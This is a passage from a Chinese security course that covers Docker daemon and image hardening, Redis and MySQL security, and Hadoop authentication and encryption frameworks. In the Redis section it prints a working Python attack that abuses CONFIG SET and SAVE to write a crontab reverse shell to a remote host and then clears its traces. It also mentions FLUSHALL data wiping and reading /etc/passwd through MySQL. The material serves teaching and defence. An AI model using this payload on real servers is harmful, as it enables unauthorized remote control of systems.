所以,当一个宿主机中运行了多个Docker容器的时候,我们可以通过CGroups,给每一个容器弹性地分配CPU资源。同样地,这个限制既不能过松,过松会导致某一个Docker容器耗尽宿主机资源,也不能过严,过严会使得容器内的服务得不到足够的资源支持。这都需要我们自己经过慎重考量来进行配置,没有默认的安全机制可以辅助我们。
|
||||
|
||||
现在,你应该已经了解Docker服务中的3个主要机制了。这里,我把这3个主要机制的特点总结成了一张表格,帮助你加深理解。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/70/6b/70dbe21875f958841c62213e76ed6e6b.jpeg" alt="">
|
||||
|
||||
## Docker守护进程
|
||||
|
||||
想要运行Docker镜像,就必须先启动Docker的Daemon守护进程。而启动这个守护进程需要ROOT权限。因此,守护进程本身如果出现漏洞,就会给黑客提供一个权限提升的入口。那通过这个守护进程,黑客能进行哪些操作呢?
|
||||
|
||||
首先,作为守护进程,Daemon具备操控Docker容器的全部权限。这也就意味着,黑客可以任意地上线和下线容器、运行黑客自己的镜像、篡改已有镜像的配置等。这么说可能不够直观,我来详细解释一下。黑客通过守护进程,可以将宿主机的根目录共享到镜像中,这样一来,镜像就可以对宿主机的目录进行任意的修改了。另外,除了影响正常的线上容器,黑客还能够通过简单的docker exec命令获取容器环境中的Shell,从而执行任意命令了 。
|
||||
|
||||
那么,黑客怎么才能控制Daemon守护进程呢?最简单的方法当然是直接进入宿主机,通过Docker命令进行交互。但如果黑客已经进入宿主机,还去操控容器,就是多此一举了。所以,黑客主要是通过远程API,来对Docker守护进程发起攻击。
|
||||
|
||||
守护进程提供的API接口,是为了方便用户去做一些自动化的工具,来操控Docker容器。而在默认情况下,这个API接口不需要进行认证。你可以尝试探测一下,你的公司内外网中,是否存在开放的2375端口(守护进程API默认监听的端口)。如果存在的话,那么你基本上就能够控制这台服务器的Docker守护进程了。
|
||||
|
||||
为了避免这种无认证的情况发生,Docker提供了证书的方式来进行认证。开启API接口的命令如下所示:
|
||||
|
||||
```
|
||||
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376
|
||||
|
||||
```
|
||||
|
||||
通过以上命令,我们就能够在宿主机开启远程API接口。在客户端中,只需要提供相应的证书信息,就能够完成经过认证的API接口调用了。
|
||||
|
||||
```
|
||||
curl https://127.0.0.1:2376/images/json --cert cert.pem --key key.pem --cacert ca.pem
|
||||
|
||||
```
|
||||
|
||||
那通过这样的配置,我们就能解决了API接口的认证问题,也就提升了Docker守护进程的安全性。
|
||||
|
||||
## Docker镜像安全
|
||||
|
||||
了解了Docker守护进程的安全风险和防护方法之后,我们再来看一下Docker镜像的安全。
|
||||
|
||||
对于Docker镜像来说,它本身就是一个模拟的操作系统,自然也会存在操作系统中的各类安全威胁和漏洞。但是,由于一个Docker镜像,一般只会运行某一种服务,也就相当于一个操作系统中只有一个用户。因此,Docker镜像面临的安全威胁也会小很多。
|
||||
|
||||
接下来,我就为你详细讲解两种保证Docker镜像安全的方式,分别是“使用最精简的镜像”和“最小权限原则”。
|
||||
|
||||
### 使用最精简的镜像
|
||||
|
||||
前面我们讲了Docker镜像的概念,我们知道,Docker镜像是通过Dockerfile来构建的。而Dockerfile构建的第一句是FROM ***。以Node.js的环境为例,你的基础镜像可能是node,那么Dockerfile的第一行应该是FROM node。
|
||||
|
||||
```
|
||||
FROM node
|
||||
COPY . ./
|
||||
EXPOSE 8080
|
||||
CMD [“node”, “index.js”]
|
||||
|
||||
```
|
||||
|
||||
这个基础的node镜像实际包含了一个完整的操作系统,但是,在实际应用中,有大部分的系统功能,我们是用不到的。而这些用不到的系统功能,却正好为黑客提供了可乘之机。
|
||||
|
||||
Snyk在2019年的[Docker漏洞统计报告](https://snyk.io/blog/top-ten-most-popular-docker-images-each-contain-at-least-30-vulnerabilities/)称,最热门的10个Docker基础镜像,包含的已知系统漏洞,最少的有30个,最多的有580个。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/58/a7/58e23d540b2481262d17d40395f8dca7.jpeg" alt="">
|
||||
|
||||
这是非常惊人的。通过一句简单的FROM node,就能让你的Docker镜像中引入580个系统漏洞。那我们该如何避免引入漏洞呢?这个时候,我们就需要使用精简版的基础镜像了。一般来说,精简版的Docker镜像标签都会带有slim或者alpine。
|
||||
|
||||
比如说,如果你采用node:10-slim,那么漏洞数会降低到71个。如果使用node:10-alpine,那么已知的漏洞数会降为0。之所以会发生这种现象,是因为使用精简版的基础镜像,可以去除大部分无用的系统功能和依赖库,所以,存在于这些功能中的漏洞自然也就被剔除了。
|
||||
|
||||
因此,对于Docker来说,通过使用精简的基础镜像,去除一些无用的系统功能,既能够降低最终镜像的体积,又能够降低安全风险,何乐而不为呢?
|
||||
|
||||
### Docker中的最小权限原则
|
||||
|
||||
除此之外,我们在Linux操作系统中提到的最小权限原则,在Docker镜像中同样适用。
|
||||
|
||||
这是因为,在默认情况下,容器内的进程都是以ROOT权限启动的。而Docker又是伪隔离,所以,容器就和宿主机拥有一致的ROOT权限了。虽然Docker通过Capabilities,对容器内的ROOT能力进行了限制。但是,使用ROOT权限去运行一个普通的服务很不合适。为此,我们可以通过USER关键词,来使用一个低权限的用户运行服务。
|
||||
|
||||
以Node.js为例,在node的基础镜像中,默认创建了node这么一个具备较小权限的用户。因此,我们可以在Dockerfile中,加入一行USER node来使用这个最小权限用户。
|
||||
|
||||
```
|
||||
FROM node:10-alpine
|
||||
...
|
||||
USER node
|
||||
CMD [“node”, “index.js”]
|
||||
|
||||
```
|
||||
|
||||
当然,如果有的基础镜像本身不提供额外的用户,你就需要自己创建一个了。以ubuntu为例,我们可以通过groupadd和useradd,创建一个node用户,这个用户没有密码、没有home目录、也没有shell,就是一个最小权限用户。Dockerfile的内容如下:
|
||||
|
||||
```
|
||||
FROM ubuntu
|
||||
RUN groupadd -r node && useradd -r -s /bin/false -g node node
|
||||
...
|
||||
USER node
|
||||
CMD node index.js
|
||||
|
||||
```
|
||||
|
||||
现在,你应该已经知道Docker镜像的两种安全防护方法了,我来简单总结一下。第一个是通过使用最精简的基础镜像,来删减Docker镜像中不必要的功能,从而降低出现漏洞的概率。第二个则是采取最小权限原则,以低权限用户来执行服务,限制黑客的能力。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
今天,我主要通过Docker服务、Docker守护进程和Docker镜像这三个方面,带你学习Docker的安全性。
|
||||
|
||||
在Docker服务中,主要是利用Namespace、Capabilities和CGroups机制,来对Docker容器进行各种隔离和限制;在Docker守护进程中,我们通过给远程API加上认证功能来保证安全性;在Docker镜像中,我们主要是通过最小镜像和最小权限的原则,去提升镜像本身的安全性。
|
||||
|
||||
在实际对Docker进行安全防护的过程中,我们也可以采取各类针对Docker的扫描工具,来发现问题。比如[C](https://github.com/quay/clair)[lair](https://github.com/quay/clair),它会对你的镜像进行静态的扫描分析,并和漏洞库进行比对,从而发现镜像中可能存在的安全漏洞。
|
||||
|
||||
以Docker为代表的容器技术,可以说是现在应用开发中最常见的技术了。很多开发人员,现在甚至不用使用原始的Linux系统,直接基于Docker进行开发就好了。因此,我们在开发应用的过程中,要时刻关注Docker的安全性。
|
||||
|
||||
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c6/7c/c6d3f48513a247437372b2eb717f797c.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,给你留一个思考题。
|
||||
|
||||
“容器上云”是目前普遍的技术趋势,你是否有使用过一些容器云的产品?可以研究一下,在容器云中,云平台给容器设置了哪些安全限制。
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
@@ -0,0 +1,150 @@
|
||||
<audio id="audio" title="16 | 数据库安全:数据库中的数据是如何被黑客拖取的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/8a/cc/8ad43ddc6db174fffe53088019c801cc.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
说到数据库,你肯定会说:“数据库是我最熟悉的工具了。利用它,我能够设计复杂的表结构、写出炫酷的SQL语句、优化高并发场景下的读写性能。”当然,我们的日常工作离不开数据库的使用。而且,数据库中储存的大量机密信息,对于公司和用户都至关重要。
|
||||
|
||||
那关于数据库的安全你知道多少呢?你知道数据库是如何进行认证的吗?使用数据库交换数据的过程是安全的吗?假如黑客连入了数据库,又会发生什么呢?
|
||||
|
||||
今天,我就以两种比较常见的数据库Redis和MySQL为例,来和你一起探讨数据库的安全。
|
||||
|
||||
## Redis安全
|
||||
|
||||
我们首先来看Redis。我们都知道,Redis是一个高性能的KV结构的数据库。Redis的设计初衷是在可信的环境中,提供高性能的数据库服务。因此,Redis在设计上没有过多地考虑安全性,甚至可以说它刻意地牺牲了一定的安全性,来获取更高的性能。
|
||||
|
||||
那在安全性不高的情况下,黑客连入Redis能做什么呢?最直接的,黑客能够任意修改Redis中的数据。比如,通过一个简单FLUSHALL命令,黑客就能够清空整个Redis的数据了。
|
||||
|
||||
复杂一些的,黑客还可以发起权限提升,通过Redis在服务器上执行命令,从而控制整个服务器。但是,Redis本身不提供执行命令的功能,那么黑客是如何让Redis执行命令的呢?我们一起来看一下具体的代码流程。
|
||||
|
||||
```
|
||||
r = redis.Redis(host=10.0.0.1, port=6379, db=0, socket_timeout=10)
|
||||
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
|
||||
path = '/var/spool/cron'
|
||||
name = 'root'
|
||||
key = 'payload'
|
||||
r.set(key, payload)
|
||||
r.config_set('dir', path)
|
||||
r.config_set('dbfilename', name)
|
||||
r.save()
|
||||
r.delete(key) # 清除痕迹
|
||||
r.config_set('dir', '/tmp')
|
||||
|
||||
```
|
||||
|
||||
针对这个过程,我来详细解释一下,你可以结合代码来看。
|
||||
|
||||
- 黑客连入Redis。
|
||||
- 黑客写入一个任意的Key,对应的Value是想要执行的命令,并按照Crontab的格式进行拼接。代码如下:
|
||||
|
||||
```
|
||||
*/1* * * * /bin/bash -i >& /dev/tcp/1.2.3.4/80800>&1
|
||||
|
||||
```
|
||||
|
||||
- 黑客调用config_set方法,就是通过Redis的CONFIG命令,将Redis数据持久化的目录修改成/var/spool/cron。
|
||||
- 黑客调用save方法,通过Redis的SAVE命令,发起Redis的数据持久化功能。最终,Redis将数据写入到/var/spool/cron中。写入的文件效果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6e/81/6e78c556b7f2d5d5c4fc0d1d5bd93281.png" alt="">
|
||||
|
||||
- Crontab对于无法解析的数据会直接跳过,因此,开头和结尾的乱码不会影响Crontab的执行。最终,Crontab会执行到Value中对应的命令。
|
||||
|
||||
这样一来,黑客就“聪明”地利用Redis保存文件的功能,修改了Crontab,然后利用Crontab执行了命令。
|
||||
|
||||
那么,我们该如何对Redis进行安全防护呢?这里就需要提到我们前面讲过的“黄金法则”和“最小权限原则”了。
|
||||
|
||||
首先,从认证上来说,Redis提供了最简单的密码认证功能。在Redis的配置文件中,只要增加一行requirepass 123456,我们就能够为Redis设置一个密码了。但是,这里有两点需要你注意。
|
||||
|
||||
- Redis的性能很高,理论上黑客能够以每秒几十万次的速度来暴力猜测密码。因此,你必须设置一个足够强的密码。我比较推荐随机生成一个32位的“数字加字母”的密码。而且Redis的密码直接保存在配置文件当中,你并不需要记忆它,需要的时候直接查看就好了。
|
||||
- Redis是为了高性能而设计的。之所以Redis默认不配置密码,就是因为密码会影响性能。按照我之前的测试,加上密码之后,Redis的整体性能会下降20%左右。这也是很多开发和运维,明明知道Redis有安全风险,仍然保持无密码状态的原因。所以,是否给Redis设置密码,还需要你根据实际的情况进行权衡。
|
||||
|
||||
其次是进行授权。尽管Redis本身不提供授权机制,但是我们仍然可以通过“重命名”来间接地实现授权功能。我们可以在Redis的配置文件中加入rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho,就可以将CONFIG功能的关键词,变成一个随机的字符串,黑客不知道这个字符串,就无法执行CONFIG功能了。而且,你仍然可以通过新的命令,来正常地使用CONFIG功能,不会对你的正常操作产生任何影响。
|
||||
|
||||
现在,你应该已经知道在认证和授权上,我们能使用的防护手段了。那在审计上,因为Redis只提供了基本的日志功能(日志等级分为:Debug、Verbose、Notice和Warning),实用信息不多,也就没有太多的应用价值。
|
||||
|
||||
除了认证和授权,如果你还想要对Redis中的数据进行加密,那你只能够在客户端中去集成相应的功能,因为Redis本身不提供任何加密的功能和服务。
|
||||
|
||||
最后,我们还要避免使用ROOT权限去启动Redis,这就需要用到“最小权限原则”了。在前面命令执行的例子中,黑客是通过Redis的保存功能,将命令“写入Crontab”来实现的命令执行功能。而“写入Crontab”这个操作,其实是需要ROOT权限的。因此,我们以一个低权限的用户(比如nobody)身份来启动Redis,就能够降低黑客连入Redis带来的影响了。当然,Redis本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于ROOT权限)来保证正常运行。
|
||||
|
||||
总结来说,Redis是一个极度看重性能的数据库,为了性能舍弃掉了部分的安全功能。我们可以通过“增加密码”“使用最小权限原则”和“授权”的方式,在一定程度上提升Redis的安全性。但是,这些防护手段更多的是一种缓解机制,为了保证安全性,我们最好是只在可信的网络中使用Redis。
|
||||
|
||||
## MySQL安全
|
||||
|
||||
讲到这里,你现在应该也能总结出,黑客攻击数据库的主要方式,除了执行各种命令对数据库中的数据进行“增删改查”,就是在连入数据库后,通过各种手段实现命令执行,最终控制整个服务器。
|
||||
|
||||
那在MySQL中,黑客的攻击方式又有什么不同呢?
|
||||
|
||||
因为MySQL的功能十分强大,自身就提供了和本地文件交互的功能。所以,通过LOAD DATA INFILE,MySQL可以读取服务器的本地文件;通过SELECT … INTO DUMPFILE,MySQL也能够将数据写入到本地文件中。因此,在黑客连入MySQL之后,通过读文件的功能,黑客就能够对服务器的任意文件进行读取,比如敏感的/etc/passwd或者应用的源代码等;通过写文件的功能,则可以仿照Redis修改Crontab的原理,实现命令执行的功能。
|
||||
|
||||
相比于Redis,MySQL是一个比较成熟的数据库工具,自身的安全性就很高,所以通过正确地配置MySQL的安全选项,我们就能够获得较高的安全保障。
|
||||
|
||||
那么,MySQL在黄金法则和加密上,分别提供了哪些功能呢?
|
||||
|
||||
MySQL提供了多用户的认证体系,它将用户的相关信息(认证信息、权限信息)都存储在了mysql.user这个系统表中。利用这个系统表,MySQL可以通过增删改查操作,来定义和管理用户的认证信息、权限列表等。
|
||||
|
||||
除此之外,在认证上,MySQL还提供了比较完善的密码管理功能,它们分别是:
|
||||
|
||||
- 密码过期,强制用户定期修改密码;
|
||||
- 密码重用限制,避免用户使用旧的密码;
|
||||
- 密码强度评估,强制用户使用强密码;
|
||||
- 密码失败保护,当用户出现太多密码错误的尝试后锁定账户。
|
||||
|
||||
那么,通过这些密码管理的机制,你就能够拥有一个相对安全的认证体系了。
|
||||
|
||||
在多用户的认证体系中,授权是必不可少的。那MySQL中的授权机制是怎样的呢?
|
||||
|
||||
```
|
||||
GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"
|
||||
|
||||
```
|
||||
|
||||
我们通过修改权限的GRANT命令来具体分析一下,MySQL授权机制中的主体、客体和请求。
|
||||
|
||||
- 主体(user@“127.0.0.1” IDENTIFIED BY “password”):MySQL的主体是通过用户名、IP和密码这三个信息组合起来进行标记的。
|
||||
- 客体(db.table):MySQL的客体是数据库和表。
|
||||
- 请求(ALL PRIVILEGES):MySQL将请求的类型定义成了特权(PRIVILEGES)。常见的特权有INSERT、DELETE等增删改查操作(如果你想要了解其他更细粒度的特权,可以在[官方文档](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html)中进行查看)。
|
||||
|
||||
除此之外,MySQL也定义了ROLE的概念,你可以基于这个功能,去实现role-BAC机制。
|
||||
|
||||
虽然和Redis一样,MySQL本身也不提供审计功能。但是,MySQL可以通过第三方插件,来提供审计的服务。比如McAfee提供的[mysql-audit](https://github.com/mcafee/mysql-audit)以及[MariaDB Audit Plugin](https://mariadb.com/kb/en/library/mariadb-audit-plugin-log-settings/)。这些插件能够自动收集必要的MySQL操作信息,并推送到你的ELK等日志集群中,方便你进行持续的审计操作。
|
||||
|
||||
在加密方面,MySQL既提供传输过程中SSL(Security Socket Layer)加密,也提供存储过程中硬盘加密。
|
||||
|
||||
我们首先来看MySQL的SSL加密功能。开启SSL功能,需要在配置文件中配置如下命令:
|
||||
|
||||
```
|
||||
[mysqld]
|
||||
ssl-ca=ca.pem
|
||||
ssl-cert=server-cert.pem
|
||||
ssl-key=server-key.pem
|
||||
|
||||
```
|
||||
|
||||
但是,这些配置并不能强制客户端使用SSL连接。想要杜绝全部非安全连接的话,我们可以在配置文件中添加require_secure_transport=ON,来进行强制限制。
|
||||
|
||||
接着,我们来看,MySQL中提供的硬盘加密功能。硬盘加密过程主要涉及两个密钥,一个主密钥和一个表密钥。表密钥由MySQL随机生成,通过主密钥进行加密后,存储在表头信息中。因此,每一个表格都拥有不同的密钥。
|
||||
|
||||
MySQL的加密功能是由keyring_file这个插件来提供的。需要注意的是,当keyring_file第一次启动的时候,它会生成一个主密钥文件在当前的系统中。你一定要备份这个密钥文件,因为它一旦丢失,数据库中的全部数据,都将因为无法解密而丢失。
|
||||
|
||||
现在,你应该了解了,MySQL在黄金法则上都提供了哪些功能。接下来,我们再来看“最小权限原则”。
|
||||
|
||||
和Redis一样,MySQL也需要避免以ROOT权限启动。不一样的是,MySQL默认提供了这样的能力,当我们在Linux中通过mysqld来启动MySQL进程的时候,mysqld会自动创建一个具备最小权限的mysql用户,并赋予这个用户对应日志文件的权限,保证MySQL拥有必要的最小权限。
|
||||
|
||||
总之,MySQL是一个非常成熟的数据库工具,它提供了完整的安全功能。通过对认证、授权、审计和加密功能的正确配置,你就能够迅速提升MySQL的整体安全性。
|
||||
|
||||
## 总结
|
||||
|
||||
今天,我们以Redis和MySQL这两种比较典型的数据库为例,对它们的安全性,以及攻破后能产生的危害进行了分析。在这里,我把安全防护的关键内容总结了一张表格,希望能够帮助你加深理解。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cf/38/cfef962b04ea94100920d60188996638.jpeg" alt="">
|
||||
|
||||
通过对这两种数据库的分析,我们知道,数据库面临的威胁不只存在于数据本身,也会影响到数据库所在的服务器。在数据库本身的安全防护上,我们可以通过对“黄金法则”的运用,在认证、授权、审计和加密方面,为其设置一定的保护能力。同时,为了避免数据库对服务器的衍生影响,我们也应该落实“最小权限原则”, 避免以ROOT权限去启动数据库服务。
|
||||
|
||||
当然,目前成熟的数据库产品肯定不止这两种。但是,我希望通过对这两种数据库的安全分析,让你掌握数据库安全的主要内容,在实际工作中,能够做到活学活用,自主去分析你用到的数据库。
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,让我们来看一道思考题。
|
||||
|
||||
在实际工作,除了Redis和MySQL,你还会用到哪些数据库?你可以思考一下,这些数据库有哪些安全事项呢?你可以按照我给出的表格,试着总结出相关的安全防护手段。
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
@@ -0,0 +1,127 @@
|
||||
<audio id="audio" title="17 | 分布式安全:上百个分布式节点,不会出现“内奸”吗?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ba/eb/bab1d4da96c1ed9e7d677ed04093c0eb.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
如今,大数据处理已经成为了每一个应用和公司都必备的业务。因此,除了数据库之外,分布式的平台和框架也是开发人员最熟悉的工具之一。
|
||||
|
||||
说到分布式,就不得不提到Hadoop。Hadoop可以说是一个划时代的分布式框架,底层的HDFS提供了大数据存储的文件系统支持,YARN提供了大数据运算的资源调度能力,而MapReduce的计算框架,更是彻底革新了数据运算的方式。基于此,Hadoop又衍生了一系列的分布式工具和数据处理生态圈。
|
||||
|
||||
可以说,Hadoop是分布式框架的根基。所以,我们今天就以Hadoop为例,探讨一下分布式框架的安全性。
|
||||
|
||||
对于开发人员来说,优化分布式环境下的数据处理性能,完成各种高复杂度的运算任务,都不在话下。但是,说到分布式环境中的安全,你又知道多少呢?
|
||||
|
||||
现在的分布式环境中,动辄就是上百台的分布式节点,海量的数据在这些节点中不停地流动,你能够确定所有的节点都是可信的吗?如果某一个节点被黑客控制了,又会发生什么呢?
|
||||
|
||||
## 针对Hadoop的攻击方式有哪些?
|
||||
|
||||
Hadoop最开始是设计工作在可信的网络中的,所以,Hadoop的默认安全防护机制并不强。这也就使得Hadoop中的数据安全得不到保障。而Hadoop作为大数据的处理框架,可以说公司大部分的数据都会落到其中进行处理。因此,Hadoop中数据CIA的重要性,甚至比普通的数据库更高。
|
||||
|
||||
那么,黑客可以通过哪些方式来攻击Hadoop呢?
|
||||
|
||||
首先,最直接也是最常见的,也就是在默认情况下,Hadoop没有集成认证和授权功能,任何人都可以通过客户端的形式连入到Hadoop集群中。所以,黑客可以任意地增删改查HDFS中的数据,也可以任意地提交Hadoop任务,来进行自己想要的数据操作。
|
||||
|
||||
除了直接的越权访问,黑客也可以通过一些间接的方式,来窃取Hadoop中的数据。比如,Hadoop节点间的数据传输默认都是明文的。因此,即使黑客无法连入到Hadoop集群中,它们也可以通过控制交换机等网络设备,同样能够获得很多的数据信息。
|
||||
|
||||
最后,因为Hadoop能够很好地支持节点的增加和删除操作。所以,黑客可以以一个节点的身份加入到Hadoop集群中。这样一来,数据就会自动流转到黑客的节点中。如果伪装的是具备调度功能的NameNode,黑客还能够对整个Hadoop集群的资源调度进行干预和影响。
|
||||
|
||||
## Hadoop自带的安全功能有哪些?
|
||||
|
||||
现在,你应该知道了,黑客针对Hadoop的攻击一旦发生,就会造成非常大的危害。那我们该如何提高Hadoop的安全性呢?和数据库一样,我们还是分别从认证、授权、审计和加密这四个方面来看。
|
||||
|
||||
### 黄金法则在Hadoop上如何应用?
|
||||
|
||||
首先,我们来看,如何给Hadoop加上认证的功能。
|
||||
|
||||
目前,Hadoop支持了基于Kerberos协议的认证功能,我们可以在配置文件中使用。
|
||||
|
||||
那Kerberos协议是什么呢?Kerberos协议和我们之前讲过的单点登录机制(CAS流程)很类似,都是向认证中心获取一个认证Token,然后根据Token去完成服务的认证。区别在于,Kerberos都是主动向认证中心发起认证,不需要服务去进行重定向操作。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e7/5e/e705c8543a017c24ed107fac3e8f4d5e.jpeg" alt="">
|
||||
|
||||
接下来,我带你梳理一下Kerberos的流程,你可以结合上面的流程图来看。
|
||||
|
||||
用户在向KDC(Kerberos的认证中心)发起登录之后,会获取一个Token(Kerberos的ST),然后通过这个Token去访问对应的服务。Token中包含了签名,因此服务方可以自行验证Token的合法性。在认证完成之后,服务方就可以向用户提供服务了。
|
||||
|
||||
Kerberos比较适用于服务与服务之间的认证,对应到Hadoop的场景中,就是Hadoop集群中内部各个节点之间的认证。
|
||||
|
||||
那么,在使用了Kerberos认证机制后,我们要怎么去配置每一个Hadoop节点,来完成Hadoop集群的认证呢?这就需要我们在初始化Hadoop的各个节点时,为每个节点申请一个Kerberos的密钥文件Keytab。
|
||||
|
||||
Keytab文件会使用一个Principal作为唯一的身份标识。Principal的格式如下:username/host@realm。可以看到,Principal由三个部分组成:username、host和realm。
|
||||
|
||||
其中,“username”是服务所对应的用户身份。比如,Hadoop的服务会分别以hdfs用户运行HDFS服务、以yarn用户运行YARN服务、以mapred用户运行MapReduce服务。因此,对应各个服务节点的“username”就是hdfs、yarn和mapred。
|
||||
|
||||
“host”即为服务节点在DNS中的主机名,“realm”为域标示,可以使用根域名来替代,比如BAIDU.COM。
|
||||
|
||||
现在,我们知道,通过Principal,Keytab文件会和节点的服务类型以及Host进行绑定。这样一来,每个服务节点都具备了能证实身份的唯一ID和密钥,也就可以保证在整个Hadoop集群中,各个节点都是可信任的。
|
||||
|
||||
Kerberos协议同样可以完成对用户的授权。当认证开启后,只要用户登录一台配置好了Kerberos密钥的服务器,就能以节点的身份向Hadoop发起认证了。
|
||||
|
||||
总体来说,因为不同的Hadoop工具(Hive、HDFS等)对授权和审计有不同的需求,所以,这些授权和审计功能通常会放到具体工具中去实现,无法由底层的Hadoop统一完成。而这种不统一会增加Hadoop管理的工作量,因此,在实际工作中,我们往往会选择通过集成额外的安全框架,来对授权和审计进行统一管理。我会在Hadoop安全框架的内容中,详细来讲解授权和审计机制。
|
||||
|
||||
### Hadoop中有哪些加密形式?
|
||||
|
||||
在黄金法则之外,我们需要考虑的另外一点就是数据加密。和MySQL数据库一样,Hadoop也支持对硬盘数据进行加密存储,这个过程主要集中在HDFS中:当数据写入HDFS时,数据会自动加密;当需要从HDFS读取数据时,数据会自动解密。在MySQL中,我们是以表为单位分配不同的密钥;在HDFS中,则需要我们主动创建Zone来进行加密。
|
||||
|
||||
比如,通过下面的命令,我们能够在HDFS中创建一个/zone目录,对/zone目录中的所有数据进行加密。
|
||||
|
||||
```
|
||||
hadoop fs -mkdir /zone
|
||||
hdfs crypto -createZone -keyName mykey -path /zone
|
||||
|
||||
```
|
||||
|
||||
但是,和MySQL数据库不同的是,HDFS是一个分布式的存储系统,一份大数据会被分成若干个小数据,存储在不同的服务节点上。那么,HDFS是怎么对加密密钥进行管理的呢?Hadoop提供了一个密钥管理中心KMS,当HDFS需要进行加解密操作时,会根据用户信息,向KMS请求对应的密钥,从而完成数据的加解密工作。
|
||||
|
||||
## 通过Hadoop安全框架来加强安全功能
|
||||
|
||||
Hadoop作为一个成熟的开源框架,当出现安全需求时,各个公司都会对其进行安全加固。当这些加固的技术成熟时,部分公司就会对这些技术进行整理,包装成为Hadoop提供安全加固的框架供我们使用。
|
||||
|
||||
接下来,我就从我最熟悉的3个知名安全框架入手,为你详细讲解这些安全框架分别为Hadoop提供了哪些安全机制。
|
||||
|
||||
首先我们来看Apache Knox。
|
||||
|
||||
Apache Knox是一个针对Hadoop集群的网关。所有对Hadoop集群的请求,需要先发送给Apache Knox,然后由Apache Knox代理到Hadoop集群中去。对于用户来说,只能够看到Apache Knox的网关,而不能够直接和Hadoop集群进行通信。通过网关的形式,Apache Knox将所有和Hadoop交互的行为进行了统一收口。在此基础之上,Apache Knox就可以为Hadoop提供统一的安全管理能力,也就是进行用户的认证、授权和审计等工作。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8d/1c/8d9af830e8d2fdf8966e16de091e3a1c.jpeg" alt="">
|
||||
|
||||
接着,我们再来说一说Apache Sentry。
|
||||
|
||||
Apache Sentry相当于一个为Hadoop提供集中式授权的中心。它在Hive、Impala等数据引擎中添加一个插件,拦截所有对数据引擎的请求,并转发到Apache Sentry的授权中心。然后Apache Sentry会基于role-BAC的访问控制方式,对请求进行具体的授权。对于Hadoop的各类组件来说,Apache Sentry是一个比较独立的授权引擎,可以随时地引入或者撤除。也就是说,Apache Sentry为Hadoop提供了可“插拔式”的授权能力。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/93/387baa6f9f027379f15ccf5abc1d3793.jpeg" alt="">
|
||||
|
||||
最后是Apache Ranger。
|
||||
|
||||
Apache Ranger提供了一个集中制的访问控制机制。通过Apache Ranger的管理后台,我们可以很方便地管理各类资源的授权机制。而且,这些授权机制是通过一个轻量级的Java插件,运行在各类工具的服务进程(比如HDFS的namenode进程,Hive的Hive2Server进程等)中,所以,在Hadoop的服务节点上,不需要运行额外的进程。尽管耦合性更强,但Apache Ranger更便于管理,它相当于在每一个Hadoop工具中都加入了授权的能力。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a1/c1/a12efec9e5ce98dd24e2e81d344fd7c1.jpeg" alt="">
|
||||
|
||||
为了帮助你加深理解,我把这三个安全框架的功能简单地总结了一张表格。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/37/b1/37d908d9f3b3cd32e51d816acbb602b1.jpeg" alt="">
|
||||
|
||||
现在,你应该已经了解这3个安全框架能够提供的安全机制了。接下来,我们说一说,在实际工作中,你该如何选择这些安全框架。
|
||||
|
||||
我比较推荐你使用Apache Ranger和Apache Knox的组合。因为Apache Ranger和Apache Knox是同一个公司(Hortonworks)推出的安全框架,它们在功能上是相辅相成。
|
||||
|
||||
我为什么会这么说呢?我们前面讲过,Apache Ranger是一个授权系统,它通过访问授权机制决定,谁可以访问哪些数据。但是,Apache Ranger没有自带的认证功能,当请求到达Apache Ranger的时候,它就默认这个用户已经完成认证了。Apache Knox提供了统一的出入口,只有通过认证的用户,能够将请求发送到Hadoop集群中。简单来说就是,Apache Knox为Ranger提供了认证能力,Apache Ranger为Apache Knox提供了授权能力。
|
||||
|
||||
那Apache Sentry是不是也能和其他的安全框架组合使用呢?其实,我认为Apache Sentry和Apache Ranger,只是两家公司为了竞争开发的同一类产品。因此,它们在功能上比较相似,只是支持的Hadoop工具稍有区别,比如,Apache Sentry支持Impala,而Apache Ranger 不支持。
|
||||
|
||||
现在,Apache Sentry和Apache Ranger的两家公司已经完成合并,并且已经决定将Apache Sentry合并到Apache Ranger中。所以,如果你需要为Hadoop加入安全框架的话,使用Apache Knox+Apache Ranger的组合即可,不需要再去考虑其他安全框架了。[官方网站](https://docs.cloudera.com/HDPDocuments/HDP3/HDP-3.1.0/security-overview/content/apache_knox_gateway_overview.html)也对这种组合形式进行了具体的描述,你可以直接查阅使用。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
